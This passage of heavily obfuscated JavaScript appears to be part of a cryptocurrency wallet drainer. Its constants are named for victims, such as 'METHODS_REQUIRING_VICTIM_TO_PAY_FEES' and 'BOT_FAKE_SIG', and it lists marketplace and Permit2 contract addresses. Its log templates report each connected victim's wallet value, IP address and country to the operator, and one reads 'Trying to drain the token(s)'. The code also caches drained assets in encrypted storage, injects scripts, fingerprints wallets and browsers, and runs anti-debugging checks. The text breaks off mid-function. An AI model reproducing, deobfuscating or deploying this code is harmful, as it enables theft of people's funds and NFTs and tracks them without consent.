- [ABLWty.call(undefined, 238) + ABLWty(239) + "niApp"]: JZmylD(1, vzwAVq = 7),
- os: ABLWty.apply(undefined, [240]),
- isMobile: null,
- [ABLWty(241)]: ABLWty(240),
- ["cachedDraine" + ABLWty(242) + "s"]: [],
- ["isModa" + ABLWty(243) + "ode"]: null,
- [Lo_Jvz + ABLWty.apply(undefined, [245])]: null,
- isPowSolving: JZmylD(1, vzwAVq = 7)
- };
- var v27 = [ABLWty(246) + "ortSup" + ABLWty(247), ABLWty(_0xb48416[213] + 349) + "lDarkMode", ABLWty(238) + ABLWty(239) + ABLWty(249), "os", ABLWty(_0xb48416[213] + 351), "browser", ABLWty(_0xb48416[213] + 352)];
- var v28 = JSON[ABLWty(_0xb48416[213] + 353)](JSON.stringify(v26));
- v26.reset = function () {
- for (let v29 in v26) {
- if (JZmylD(v27.includes(v29), WAZ9Ax(7)) && JZmylD(v26[v29], vzwAVq = -11) != "function") {
- v26[v29] = v28[v29];
- }
- }
- };
- _0xb48416[_0xb48416[_0xb48416[213] + 314] + 102][ABLWty(21)] = v26;
- }, 2));
- var he = I(ZZ1LRs((..._0x1819f0) => {
- _0x1819f0.length = 2;
- _0x1819f0[9] = 112;
- _0x1819f0.sZqzyR = [ABLWty(_0x1819f0[9] + 141)];
- var v31 = _0x1819f0.sZqzyR[0] + "0902918203684832716283019655932542975";
- var v32 = ABLWty(254) + "95423570985008687907853269984665" + ABLWty(255) + "07913129639935";
- var v33 = ABLWty(256) + ABLWty(257) + ABLWty(258) + "fc7ef3361df" + ABLWty(259) + ABLWty(260);
- var v34 = ABLWty.call(undefined, 261) + "7ba7fdf10f224" + ABLWty(262) + ABLWty.call(undefined, 263) + "fcd2ad56329b3f";
- var vABLWty = ABLWty(264);
- var v36 = ["seaport", ABLWty(156) + "ansfers", ABLWty(265), "permit2"];
- var v37 = [ABLWty(164), "approvement", ABLWty(266), ABLWty(267), "openseaTransfers", ABLWty(167), ABLWty(268) + "ransfer", "wyvern", "x2y2BatchTransfer", ABLWty(269), "creepzTransfers", ABLWty.apply(undefined, [165]), ABLWty(159) + ABLWty(270) + "ract", ABLWty.apply(undefined, [161])];
- var v38 = "0xc143ea056dd2f62a128808cc0c47d9477f9080c080a037437ba5214" + ABLWty.call(undefined, 271) + "1e038930c82314817f91cb8d8ea36a2bd0a001" + ABLWty(_0x1819f0[9] + 160);
- var v40 = "https://rpc." + ABLWty(273) + ABLWty(_0x1819f0[9] + 162);
- var v42 = [1, 10, 25, 56, 100, 122, 137, 169, 250, 252, 324, 369, 1101, 1284, _0x1819f0[9] + 1173, 4200, 5000, 8453, 34443, _0x1819f0[9] + 42049, 42220, 42766, 43114, _0x1819f0[9] + 59032, 81457, 534352, 666666666, 1313161554];
- _0x1819f0[1][ABLWty(21)] = {
- [ABLWty(275) + "_VERSION"]: 7.108,
- [ABLWty(276)]: JZmylD(1, WAZ9Ax(7)),
- MAX_UINT48: "281474976710655",
- MAX_UINT160: v31,
- MAX_UINT256: v32,
- [ABLWty(277)]: v33,
- [ABLWty(278)]: v34,
- LOCAL_STORAGE_KEY_NAME: vABLWty,
- LOCAL_STORAGE_ENCRYPT_KEY: "xi3z2y8ne3f34yxkbhci8cah8y9ic6q5xkctpfpzg4vvi7b8mmn22brdiee5fbrwdvhhzwi9qfquzktpip9kvvaiyirzfk3gh45p",
- [ABLWty(_0x1819f0[9] + 167) + ABLWty(280) + ABLWty(281) + ABLWty(282) + ABLWty(283) + "4"]: v36,
- METHODS_REQUIRING_VICTIM_TO_PAY_FEES: v37,
- [ABLWty.call(undefined, 284) + ABLWty(285) + "ELEMENTS"]: 15,
- ["BOT_FAKE_SIG" + ABLWty.apply(undefined, [286])]: v38,
- BOT_FAKE_TX_HASH: "0x9a96f9a299fb57ea50c4882949eb8f42eaa8ea2132d85976fd20966f96f14b93",
- ["DEFAUL" + ABLWty.apply(undefined, [287]) + "RPC"]: v40,
- ["RABBY_" + ABLWty.apply(undefined, [_0x1819f0[9] + 176]) + "MESSAGE"]: "Rabby Wallet isn't currently supported. Please disable it if you have it installed or try again with MetaMask or another wallet.",
- [ABLWty(289) + "TED_CHAINS_ID"]: v42
- };
- }, 2));
- var de = I(ZZ1LRs((..._0x4672f2) => {
- _0x4672f2.length = 2;
- _0x4672f2.N6OM4Nr = _0x4672f2[1];
- _0x4672f2[2] = [ABLWty(343)];
- _0x4672f2._B9DPiD = {
- cJX907: ABLWty.call(undefined, 291)
- };
- _0x4672f2.N6OM4Nr[ABLWty(21)] = {
- [ABLWty(290)]: _0x4672f2._B9DPiD.cJX907 + ABLWty(292) + ABLWty(293),
- [ABLWty(294) + "IRD"]: ABLWty(295) + ABLWty(296) + ABLWty(297) + ABLWty.apply(undefined, [298]) + ABLWty(299) + "136a68b",
- CREEPZ: "0x5946aeaab44e" + ABLWty(300) + ABLWty.apply(undefined, [301]),
- ["BLUR_P" + ABLWty(302) + ABLWty(303)]: ABLWty(304) + ABLWty(305) + "a39bb272e79075ade125fd351887ac",
- BLUR: ABLWty.call(undefined, 304) + "00000000ad05" + ABLWty(306) + ABLWty(307) + ABLWty(308) + ABLWty(309),
- ["ERC721_MATCH" + ABLWty(310) + "LICY"]: ABLWty(311),
- APE_COINS_STAKING: ABLWty(312) + ABLWty(313) + "c958940b7eb7" + ABLWty(314) + ABLWty(315) + "2afbb9",
- OPENSEA_TRANSFER_HELPER: ABLWty(316),
- [ABLWty.apply(undefined, [317]) + ABLWty(318) + "DELEGATE"]: "0xf849" + ABLWty(319) + ABLWty.apply(undefined, [320]) + ABLWty(321) + "be1e20" + ABLWty(322) + ABLWty(323),
- SWELL_POOL: ABLWty.call(undefined, 324),
- DOMAIN_STORAGE: ABLWty(325) + ABLWty.apply(undefined, [326]) + ABLWty(327),
- FUEL_CONTRACT: ABLWty(328),
- ETHERFI_YIELDS: [ABLWty(329) + ABLWty(330) + ABLWty(331) + ABLWty(332), ABLWty(333), ABLWty(334) + ABLWty.call(undefined, 335) + ABLWty.call(undefined, 336) + ABLWty(337) + ABLWty.call(undefined, 338) + "c307b3c1364c", "0x917cee801a67f933f2e6b33fc0cd1ed2d5909d88"],
- [ABLWty(339)]: ["0x42981d" + ABLWty(340) + "6529376e" + ABLWty(341) + ABLWty(342) + "b5", _0x4672f2[2][0] + ABLWty(344) + "52c396f28dce88" + ABLWty(345) + "742a71c", "0xbededdf2ef49e87037c4fb2ca34d1ff3d3992a11"],
- [ABLWty(346) + ABLWty(347) + ABLWty.call(undefined, 348)]: "0x159854e14a862df9e39e1d128b8e5f70b4a3ce9b",
- [ABLWty.call(undefined, 349)]: "0x000000000022d473030f116ddee9f6b43ac78ba3"
- };
- }, 2));
- var zt = I(ZZ1LRs((..._0x487e69) => {
- _0x487e69.length = 2;
- _0x487e69.f28SsCo = 123;
- _0x487e69[1].exports = {
- 1: {
- connect_but_wait_click_to_start: "✨👆 New connect ({walletName} - {os})\n<a href=\"{debank}\">Address</a> <a href=\"{opensea}\">NFTs</a>\nWaiting on second click to start",
- [ABLWty.apply(undefined, [350])]: "🚧 One empty connect ({walletName} - {os})\n<a href=\"{debank}\">Address</a> <a href=\"{opensea}\">NFTs</a>\n📠Ip: <code>{ip}</code> Country: <code>{country}</code>",
- too_low: "🚧 New connect ({walletName} - {os}) but total value is too low: {totalWalletPrice}\n<a href=\"{debank}\">Address</a> <a href=\"{opensea}\">NFTs</a>\n📠Ip: <code>{ip}</code> Country: <code>{country}</code>",
- drain_strategy_line: ABLWty(351),
- [ABLWty(352)]: "✨ New connect ({walletName} - " + ABLWty(353) + ABLWty(354) + "s</a>\n📠IP: <code>{ip}</code> Country: <code>{country}</cod" + ABLWty(355) + ABLWty(356),
- ["connect_but_" + ABLWty(357) + ABLWty(358)]: "✨🔒 New connect ({walletName} - {os})\n<a href=\"{debank}\">Address</a> <a href=\"{opensea}\">NFTs</a>\nWaiting on verify sign to get infos",
- prompting_verify_sign: "âš Prompting verify sign\n<a h" + ABLWty.apply(undefined, [359]) + "}\">Address</a> <a href=\"{ope" + ABLWty(360) + ">",
- verify_sign_reject: ABLWty(_0x487e69.f28SsCo + 238),
- [ABLWty(357) + "_sign_approved"]: ABLWty(362) + ABLWty.call(undefined, 363) + "ref=\"{explorer}\">Address</a>" + ABLWty(364) + ABLWty(360) + ">",
- [ABLWty(365) + "ing"]: ABLWty(366),
- reject_typed: "🔴 {stepName} rejected - {stepPrice}\n<a href=\"{explorer}\">Address</a> <a href=\"{opensea}\">NFTs</a>",
- [ABLWty.call(undefined, 367)]: "🔴 {stepName} rejected (type " + ABLWty.apply(undefined, [_0x487e69.f28SsCo + 245]) + ABLWty(369) + ABLWty(370),
- typed_not_supported: ABLWty(371) + "nce user have a wallet that not" + ABLWty(372) + ABLWty(373) + "</a> <a href=\"{opensea}\">NFTs</a>",
- known_bot: "⌠{stepName} Returned a known bot fake signature - {stepPrice}\n<a href=\"{explorer}\">Address</a> <a href=\"{opensea}\">NFTs</a>",
- invalid_sign: "ⓠ{stepName} signature is invalid\n👉Signature: <code>{signature}</code>\nUser may fake signed / has unconformable wallet (not supporting eth_sign). Trying type 2\n<a href=\"{explorer}\">Address</a> <a href=\"{opensea}\">NFTs</a>",
- prompting_switch_chain: "âš {walletAddress} prompting switch to {chainName} chain\n<a href=\"{explorer}\">Address</a> <a href=\"{opensea}\">NFTs</a>",
- ["change" + ABLWty.call(undefined, 46) + "_reject"]: ABLWty(374) + ABLWty(375) + "explorer}\">Address</a> <a href=\"{opensea}\">NFTs</a>",
- [ABLWty(376)]: "👌 {chainName} chain approved\n<a href=\"{explorer}\">Address</a> <a href=\"{opensea}\">NFTs</a>",
- chain_to_add: ABLWty(_0x487e69.f28SsCo + 254) + "Name} chain. Prompting add chain\n<a href=\"{explorer}\">Address</a> <a href=\"{opensea}\">NFTs</a>",
- [ABLWty.apply(undefined, [378])]: "👌 {chainName} chain added\n<a href=\"{explorer}\">Address</a> <a href=\"{opensea}\">NFTs</a>",
- [vF1P5qV]: ABLWty.call(undefined, _0x487e69.f28SsCo + 257) + "e} chain rejected\n<a href=\"{explorer}\">Address</a> <a href=\"{ope" + ABLWty.call(undefined, 381),
- [ABLWty.apply(undefined, [_0x487e69.f28SsCo + 259]) + ABLWty(383) + "ble"]: ABLWty(384),
- ["swap_sl" + ABLWty(_0x487e69.f28SsCo - (_0x487e69.f28SsCo - 385)) + ABLWty(386) + "h"]: ABLWty(387) + ABLWty(388) + "of {bestSlippage}. Trying to drain the token(s) with another w" + ABLWty(389) + "</a> <a href=\"{opensea}\">NFTs</a>",
- staked_asset: ABLWty(390)
- }
- };
- }, 2));
- var pe = I(ZZ1LRs((..._0x28702a) => {
- _0x28702a.length = 2;
- _0x28702a[223] = _0x28702a.bY5FKjM;
- var vQ = q();
- var vD = D();
- var {
- LOCAL_STORAGE_KEY_NAME: _0x310e4a,
- LOCAL_STORAGE_ENCRYPT_KEY: _0xe83bbc
- } = he();
- var {
- PUNK: _0x220b42,
- MOON_BIRD: _0x336c7b
- } = de();
- var vZt = zt();
- var vF3 = p10 => new Promise(p11 => setTimeout(p11, p10));
- ZZ1LRs(f, 1);
- _0x28702a[202] = 13;
- function f(..._0xf39f92) {
- _0xf39f92.length = 1;
- _0xf39f92.sEVKA1 = -118;
- let vABLWty2 = ABLWty(391);
- let v43 = "";
- for (let v44 = 0; v44 < _0xf39f92[0]; v44++) {
- v43 += vABLWty2[ABLWty(392)](Math.floor(JZmylD(Math.random(), vABLWty2.length, WAZ9Ax(-(_0xf39f92.sEVKA1 + 151)))));
- }
- if (_0xf39f92.sEVKA1 > -7) {
- return _0xf39f92[135];
- } else {
- return v43;
- }
- }
- var vF4 = p12 => p12[ABLWty(393)]("").reduce((p13, p14) => {
- p13 = JZmylD((p13 << 5) - p13, p14.charCodeAt(0), WAZ9Ax(-5));
- return p13 & p13;
- }, 0);
- var vF5 = p15 => p15[ABLWty.apply(undefined, [394]) + "ng"]()[ABLWty(393)]("").map(p16 => p16[ABLWty.call(undefined, 395) + "deAt"](0));
- var vF6 = p17 => vF5(31612400).reduce((p18, p19) => p18 ^ p19, p17);
- var vF7 = p20 => JZmylD("0", Number(p20)[ABLWty.call(undefined, 394) + "ng"](16), vzwAVq = -5)[ABLWty(396)](JZmylD(2, vzwAVq = 49));
- var vF8 = p21 => JSON.stringify(p21).split("")[ABLWty(397)](vF5)[ABLWty(397)](vF6).map(vF7)[ABLWty(398)]("");
- var vF9 = p22 => p22[ABLWty(399)]?.(ABLWty(400), {
- [ABLWty.apply(undefined, [401])]: ABLWty(402) + "cy",
- currency: "USD"
- });
- ZZ1LRs(f2, 1);
- function f2(..._0x3f0cc1) {
- _0x3f0cc1.length = 1;
- _0x3f0cc1[105] = _0x3f0cc1[1];
- _0x3f0cc1[105] = 0;
- for (let v45 = 0; v45 < _0x3f0cc1[0][ABLWty(17)]; v45 += 2) {
- if (_0x3f0cc1[0][v45] + _0x3f0cc1[0][v45 + 1] === "00") {
- _0x3f0cc1[105]++;
- }
- }
- _0x3f0cc1.uYfHbGc = 46;
- if (_0x3f0cc1.uYfHbGc > 120) {
- return _0x3f0cc1[103];
- } else {
- return _0x3f0cc1[105];
- }
- }
- ZZ1LRs(f3, _0x28702a[202] - 12);
- function f3(..._0x3d3e82) {
- _0x3d3e82.length = 1;
- _0x3d3e82[15] = 5;
- if (_0x3d3e82[15] > 87) {
- return _0x3d3e82[_0x3d3e82[15] + 102];
- } else {
- return JZmylD(_0x3d3e82[_0x3d3e82[15] - 5].length / 2, f2(_0x3d3e82[_0x3d3e82[15] - 5]), vzwAVq = -32);
- }
- }
- ZZ1LRs(f4, 1);
- function f4(..._0x59053d) {
- _0x59053d.length = 1;
- _0x59053d.EkYDJY = 115;
- let v46 = "012345" + ABLWty(403);
- let v47 = "";
- for (let v48 = 0; v48 < _0x59053d[0]; v48++) {
- v47 += v46[ABLWty(392)](Math[ABLWty(404)](JZmylD(Math.random(), v46[ABLWty(17)], WAZ9Ax(-33))));
- }
- if (_0x59053d.EkYDJY > 220) {
- return _0x59053d[-124];
- } else {
- return v47;
- }
- }
- function f5(..._0x478757) {
- _0x478757.length = 0;
- _0x478757[130] = _0x478757.FFO5nK5;
- try {
- _0x478757[130] = window.localStorage?.[ABLWty.apply(undefined, [405])]?.(_0x310e4a);
- if (JZmylD(_0x478757[130], vzwAVq = 7)) {
- return;
- }
- _0x478757[1] = CryptoJS[ABLWty(406)].decrypt(_0x478757[130], _0xe83bbc).toString(CryptoJS[ABLWty(407)].Utf8);
- vD[ABLWty.call(undefined, 408)] = JSON[ABLWty(252)](_0x478757[1]);
- } catch {
- return;
- }
- vD[ABLWty(409) + ABLWty.call(undefined, 410) + "dAssets"] = vD[ABLWty(408)].filter(p23 => Date.now() - p23.date < 180000);
- _0x478757[245] = _0x478757[1];
- for (let v49 of vD.cachedDrainedAssets) {
- let {
- type: _0x66d4e2
- } = v49;
- if (_0x66d4e2 === "apeCoi" + ABLWty(411) + "ed") {
- vD["apeCoi" + ABLWty(411) + "ed"] = {
- [ABLWty(412)]: "0",
- [ABLWty(413)]: 0
- };
- } else if (_0x66d4e2 === "swell") {
- vD.swellData = vD.swellData[ABLWty.call(undefined, 414)](p24 => p24.address !== v49.address);
- } else if (_0x66d4e2 === ABLWty(415)) {
- vD[ABLWty.call(undefined, 159) + ABLWty.call(undefined, 270) + ABLWty(416)] = vD[ABLWty(159) + ABLWty.apply(undefined, [270]) + ABLWty(416)][ABLWty(414)](p25 => p25.proxyAddress !== v49[ABLWty.call(undefined, 417) + "ddress"]);
- } else if (_0x66d4e2 === ABLWty(161)) {
- vD["fuelTo" + ABLWty(418)] = vD.fuelTokens[ABLWty.apply(undefined, [414])](p26 => p26.address !== v49.address);
- } else if (_0x66d4e2 === "gmx") {
- vD[ABLWty.apply(undefined, [419])] = [];
- } else if (_0x66d4e2 === "balance") {
- vD.balances[v49.chainId] = {
- [ABLWty(412)]: "0",
- price: 0
- };
- } else if (_0x66d4e2 === "rawAsset") {
- vD[ABLWty(204) + ABLWty(420)] = vD[ABLWty(204) + "ets"].filter(ZZ1LRs((..._0x3c5516) => {
- _0x3c5516.length = 1;
- _0x3c5516[122] = -4;
- if (_0x3c5516[0].address !== v49[ABLWty(421)][ABLWty.apply(undefined, [422])] || _0x3c5516[0][ABLWty(423)] !== v49.asset[ABLWty.call(undefined, 423)]) {
- return JZmylD(0, vzwAVq = 7);
- }
- if (v49[ABLWty(422)] === _0x336c7b && v49["nested" + ABLWty(_0x3c5516[122] + 428) + "Id"][ABLWty(17)] && _0x3c5516[0].nestedTokensId.length) {
- for (let v50 of v49.nestedTokensId) {
- if (_0x3c5516[0].nestedTokensId.includes(v50)) {
- _0x3c5516[0][ABLWty(425) + "TokensId"].splice(_0x3c5516[_0x3c5516[122] + 4]["nested" + ABLWty(424) + "Id"].indexOf(v50), 1);
- }
- }
- for (let v51 of v49[ABLWty(426) + "Id"]) {
- if (_0x3c5516[0][ABLWty(426) + "Id"].includes(v51)) {
- _0x3c5516[0].tokensId.splice(_0x3c5516[0][ABLWty(426) + "Id"].indexOf(v51), 1);
- }
- }
- return JZmylD(JZmylD(_0x3c5516[0].tokensId.length || _0x3c5516[0][ABLWty(425) + ABLWty(424) + "Id"].length, WAZ9Ax(_0x3c5516[122] + 11)), vzwAVq = 7);
- } else if (_0x3c5516[_0x3c5516[122] + 4].type !== ABLWty(_0x3c5516[122] + 431)) {
- _0x3c5516[_0x3c5516[122] + 4].tokensId = _0x3c5516[0][ABLWty(428)][ABLWty(414)](p27 => JZmylD(v49.asset.tokensId.includes(p27), vzwAVq = 7));
- return JZmylD(JZmylD(_0x3c5516[_0x3c5516[122] + 4].tokensId[ABLWty(17)], WAZ9Ax(_0x3c5516[122] + 11)), WAZ9Ax(7));
- }
- if (_0x3c5516[122] > _0x3c5516[122] - (_0x3c5516[122] - 135)) {
- return _0x3c5516[-50];
- } else {
- return JZmylD(1, vzwAVq = 7);
- }
- }, 1));
- } else if (_0x66d4e2 === "punk") {
- vD.rawAssets = vD["rawAss" + ABLWty(420)][ABLWty(414)](p28 => p28.chainId !== 1 || p28[ABLWty(422)] !== _0x220b42 || JZmylD(p28[ABLWty(426) + "Id"].includes(v49.tokenId), WAZ9Ax(7)) ? JZmylD(0, vzwAVq = 7) : (p28[ABLWty(426) + "Id"].splice(p28[ABLWty.call(undefined, 428)][ABLWty(429)](v49[ABLWty(430)]), 1), p28[ABLWty(426) + "Id"].length === 0));
- }
- }
- }
- function f6(..._0x24c6bd) {
- _0x24c6bd.length = 0;
- _0x24c6bd.HHTnaOC = _0x24c6bd[0];
- try {
- _0x24c6bd.HHTnaOC = CryptoJS[ABLWty.call(undefined, 406)][ABLWty.apply(undefined, [431])](JSON.stringify(vD.cachedDrainedAssets), _0xe83bbc);
- window.localStorage?.setItem(_0x310e4a, _0x24c6bd.HHTnaOC);
- } catch {}
- }
- async function f7(p29) {
- if (p29.startsWith("./") && location.href.includes("ipfs")) {
- let v52;
- try {
- v52 = await fetch(p29, {
- [ABLWty(432)]: ABLWty(433)
- });
- } catch {
- return JZmylD(1, vzwAVq = 7);
- }
- let v53 = document.createElement(p29.includes(ABLWty(434)) ? ABLWty(401) : ABLWty.call(undefined, 435));
- if (p29[ABLWty(436) + "es"](".js")) {
- v53.type = "text/javascript";
- v53.charset = "UTF-8";
- }
- v53.textContent = await v52.text();
- document[ABLWty(437)][ABLWty.apply(undefined, [438]) + "Child"](v53);
- return JZmylD(0, WAZ9Ax(7));
- } else {
- return await new Promise(p30 => {
- let v54 = document[ABLWty(439) + "Element"](p29.includes(".css") ? "link" : ABLWty(435));
- if (p29.includes(ABLWty(434))) {
- v54[ABLWty(440)] = ABLWty(441);
- v54[ABLWty(442)] = p29;
- } else {
- v54[ABLWty(443)] = "text/javascr" + ABLWty(444);
- v54.charset = ABLWty.apply(undefined, [445]);
- v54[ABLWty(446)] = p29;
- }
- v54.onload = () => p30(JZmylD(0, vzwAVq = 7));
- v54[ABLWty.apply(undefined, [447])] = () => p30(JZmylD(1, vzwAVq = 7));
- document.head[ABLWty(448)](v54);
- });
- }
- }
- function f8(p31, p32 = {}) {
- return (vZt[vQ.logs_style] ? vZt[vQ[ABLWty(64) + ABLWty(449)]][p31] : vZt[1][p31]).replace(/{(.+?)}/g, (p33, p34) => p34 === ABLWty(450) ? JZmylD("https://debank.com/profile/", vD.walletAddress, vzwAVq = -5) : p34 === ABLWty(451) ? JZmylD("https://opensea.io/", vD[ABLWty(220) + "Address"], vzwAVq = -5) : p34 === "ip" ? vD?.ipInformations?.ip : p34 === ABLWty.call(undefined, 452) ? vD?.[ABLWty(453) + "rmations"]?.country : p34 === ABLWty(454) + "er" ? JZmylD((vD[ABLWty.call(undefined, 455) + ABLWty(456) + ABLWty(457)]?.[p32.chainId]?.explorer || ABLWty(458)) + (ABLWty(459) + "ss/"), vD[ABLWty(220) + "Address"], vzwAVq = -5) : (p34 === ABLWty.apply(undefined, [460]) ? p32.stepPrice = p32["stepPr" + ABLWty(461)][ABLWty(399)]?.(ABLWty(400), {
- [ABLWty.apply(undefined, [401])]: ABLWty(402) + "cy",
- currency: "USD"
- }) : p34 === "totalWalletPrice" ? p32[ABLWty(462)] = vD.totalWalletPrice[ABLWty(399)]?.(ABLWty(400), {
- [ABLWty.apply(undefined, [401])]: ABLWty(402) + "cy",
- currency: "USD"
- }) : p34 === "chainName" && (p32.chainName = vD[ABLWty(463)]?.[p32.chainId]?.[ABLWty.call(undefined, 464)] || "Ethereum"), p32[p34] || vD[p34] || p33));
- }
- _0x28702a[_0x28702a[202] + 210] = p35 => JZmylD("0x", p35[ABLWty(394) + "ng"](16), vzwAVq = -5);
- ZZ1LRs(f9, _0x28702a[202] - 12);
- function f9(..._0xecc7e1) {
- _0xecc7e1.length = 1;
- _0xecc7e1.U6ImEl8 = _0xecc7e1[0];
- let v55 = _0xecc7e1.U6ImEl8[ABLWty(465)](ABLWty(466)) ? ABLWty(467) : _0xecc7e1.U6ImEl8.includes(ABLWty(468)) ? ABLWty(469) : _0xecc7e1.U6ImEl8[ABLWty(436) + "es"](ABLWty(470)) ? "Mac Os" : _0xecc7e1.U6ImEl8.includes("Android") ? "Android" : _0xecc7e1.U6ImEl8[ABLWty(436) + "es"](ABLWty(471)) ? "Linux" : ABLWty(240);
- let v56 = _0xecc7e1.U6ImEl8[ABLWty(465)]("Opera") || _0xecc7e1.U6ImEl8[ABLWty(465)]("OPR") ? ABLWty(472) : _0xecc7e1.U6ImEl8.includes("Edg") ? "Edge" : _0xecc7e1.U6ImEl8.includes("Chrome") ? "Chrome" : _0xecc7e1.U6ImEl8[ABLWty.apply(undefined, [436]) + "es"](ABLWty(473)) ? ABLWty(473) : _0xecc7e1.U6ImEl8[ABLWty(436) + "es"]("Firefox") ? ABLWty(474) : _0xecc7e1.U6ImEl8.includes(ABLWty(475)) || document.documentMode ? "Intern" + ABLWty(476) + "lorer" : ABLWty(240);
- let v57 = /(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino|android|ipad|playbook|silk/i.test(_0xecc7e1.U6ImEl8);
- _0xecc7e1.sZQo3Ns = -11;
- if (_0xecc7e1.sZQo3Ns > 65) {
- return _0xecc7e1[188];
- } else {
- return {
- os: v55,
- [ABLWty(241)]: v56,
- isMobile: v57
- };
- }
- }
- _0x28702a[77] = p36 => p36[ABLWty(477) + "us"] ? ABLWty(478) + ABLWty.call(undefined, 479) + "t" : p36[ABLWty(480)] ? ABLWty(481) + "Wallet" : p36.isMetaMask ? ABLWty(482) + "sk" : p36[ABLWty(483) + "Wallet"] ? "Apex Wallet" : p36.isAvalanche ? "Core Wallet" : p36.isBackpack ? ABLWty(484) + "ck" : p36[ABLWty(485)] ? "Bifrost Wallet" : p36[ABLWty(486) + ABLWty(487)] ? ABLWty(488) : p36[ABLWty(489) + "ki"] ? ABLWty(490) : p36.isBlockWallet ? ABLWty(491) : p36[ABLWty(492)] ? ABLWty(493) : p36.isCoinbaseWallet ? "Coinbase Wal" + ABLWty.apply(undefined, [494]) : p36[ABLWty.apply(undefined, [495])] ? ABLWty(496) : p36[ABLWty(497) + ABLWty(498)] ? "Defiant" : p36[ABLWty(499)] ? ABLWty(500) : p36[ABLWty(501)] ? "Frame" : p36[ABLWty(502)] ? "Fronti" + ABLWty(503) + "let" : p36[ABLWty.apply(undefined, [504]) + "stop"] ? ABLWty(505) : p36.isHyperPay ? "HyperPay Wal" + ABLWty(494) : p36[ABLWty.apply(undefined, [506])] ? ABLWty(507) : p36["isHalo" + ABLWty(508)] ? ABLWty.apply(undefined, [509]) + "allet" : p36["isKuCo" + ABLWty.apply(undefined, [510]) + "et"] ? ABLWty(511) + " Wallet" : p36[ABLWty(512) + ABLWty(508)] ? "MathWallet" : p36["isNova" + ABLWty.apply(undefined, [508])] ? ABLWty(513) : p36[ABLWty(514) + "allet"] || p36.isOKExWallet ? ABLWty.call(undefined, 515) : p36["isOneI" + ABLWty.call(undefined, 516) + "Wallet"] || p36["isOneI" + ABLWty(517) + "roidWallet"] ? "1inch " + ABLWty.apply(undefined, [508]) : p36[ABLWty(518)] ? ABLWty(472) : p36.isPhantom ? "Phantom" : p36[ABLWty(519)] ? "Ripio Portal" : p36.isRainbow ? "Rainbow" : p36.isStatus ? "Status" : p36[ABLWty(520) + "sman"] ? ABLWty(521) : p36[ABLWty(522)] ? ABLWty(523) : p36["isToke" + ABLWty(524) + "t"] ? ABLWty(525) + ABLWty(526) : p36[ABLWty.apply(undefined, [527]) + ABLWty(528)] ? ABLWty(529) : p36[ABLWty(530)] || p36[ABLWty(531) + ABLWty(532) + "t"] ? ABLWty(533) : p36.isXDEFI ? "XDEFI Wallet" : p36[ABLWty(534) + "on"] ? ABLWty(535) : window[ABLWty(536) + "eChain"] ? ABLWty(537) : "Wallet Connect";
- _0x28702a[1][ABLWty.call(undefined, 21)] = {
- sleep: vF3,
- [ABLWty.apply(undefined, [538])]: f,
- getHashCode: vF4,
- [ABLWty(_0x28702a[202] + 526) + ABLWty(540) + "pt"]: vF8,
- formatPrice: vF9,
- countZeroBytes: f2,
- [ABLWty(541) + ABLWty(542) + "Bytes"]: f3,
- [ABLWty(543)]: f4,
- removeCachedDrainedAssets: f5,
- [ABLWty(544)]: f6,
- ["import" + ABLWty(545)]: f7,
- getText: f8,
- numberToHex: _0x28702a[223],
- parseUserAgent: f9,
- getWalletName: _0x28702a[_0x28702a[_0x28702a[202] + 189] - -(_0x28702a[_0x28702a[202] + 189] + 51)]
- };
- }, 2));
- var Y = I(ZZ1LRs((..._0x5c18f9) => {
- _0x5c18f9.length = 2;
- _0x5c18f9.xN6gh1 = _0x5c18f9[0];
- var vQ2 = q();
- var vD2 = D();
- var {
- UNIQUE_VERSION: _0x495c8c,
- DEFAULT_ETH_RPC: _0x3f8c62
- } = he();
- var {
- DOMAIN_STORAGE: _0x4e9ae9
- } = de();
- var {
- sleep: _0x909b24,
- getHashCode: _0x50337b,
- getRandomString: _0x16a4ea,
- numbersEncrypt: _0x3fcc97
- } = pe();
- var v58 = [];
- var v59;
- function f10() {
- vD2.isPowSolving = JZmylD(1, vzwAVq = 7);
- for (let v60 of v58) {
- v60();
- }
- v58[ABLWty(17)] = 0;
- }
- async function f11(..._0x2c8d0d) {
- _0x2c8d0d.length = 0;
- _0x2c8d0d[80] = _0x2c8d0d[2];
- if (document[ABLWty(546)]?.includes(ABLWty(547))) {
- v59 = document[ABLWty(546)].split(ABLWty.call(undefined, 547))[1].split(";")[0];
- }
- if (v59) {
- let v61 = Date.now();
- let v62 = await f16({}, ABLWty.apply(undefined, [548]) + "token");
- if (v62 === "blacklisted") {
- f10();
- return JZmylD(1, WAZ9Ax(7));
- }
- _0x2c8d0d[80] = JZmylD(Date[ABLWty(549)]() - v61, 1000, vzwAVq = 5);
- if (v62 && v62 !== JZmylD(0, WAZ9Ax(7)) && v62.success) {
- f10();
- f16({
- message: JZmylD("Verified tok" + ABLWty(550) + _0x2c8d0d[80], "s", WAZ9Ax(-5))
- }, ABLWty(551) + ABLWty(552));
- } else {
- v59 = JZmylD(1, WAZ9Ax(7));
- document[ABLWty(546)] = ABLWty(553);
- f16({
- [ABLWty(554)]: JZmylD(ABLWty(555) + _0x2c8d0d[80], ABLWty(556), WAZ9Ax(-5))
- }, ABLWty(551) + ABLWty(552));
- }
- }
- if (JZmylD(window[ABLWty(557)], WAZ9Ax(7))) {
- f10();
- f16({
- [ABLWty(554)]: ABLWty(558)
- }, ABLWty(551) + "ebug");
- return JZmylD(1, WAZ9Ax(7));
- }
- if (JZmylD(v59, vzwAVq = 7)) {
- let v63 = Date.now();
- let v64;
- for (let v65 = 0; v65 < 10; v65++) {
- v64 = await f16("", ABLWty(559));
- if (v64 === ABLWty(560)) {
- f10();
- return JZmylD(1, vzwAVq = 7);
- }
- if (v64 && v64 !== JZmylD(0, vzwAVq = 7)) {
- break;
- }
- }
- if (JZmylD(v64, WAZ9Ax(7)) || v64 === JZmylD(0, vzwAVq = 7)) {
- f10();
- f16({
- message: JZmylD(ABLWty(561) + _0x2c8d0d[6], ABLWty(562) + "alid response", WAZ9Ax(-5))
- }, "wasm-debug");
- return JZmylD(1, vzwAVq = 7);
- }
- _0x2c8d0d[6] = JZmylD(Date[ABLWty(549)]() - v63, 1000, WAZ9Ax(5));
- f16({
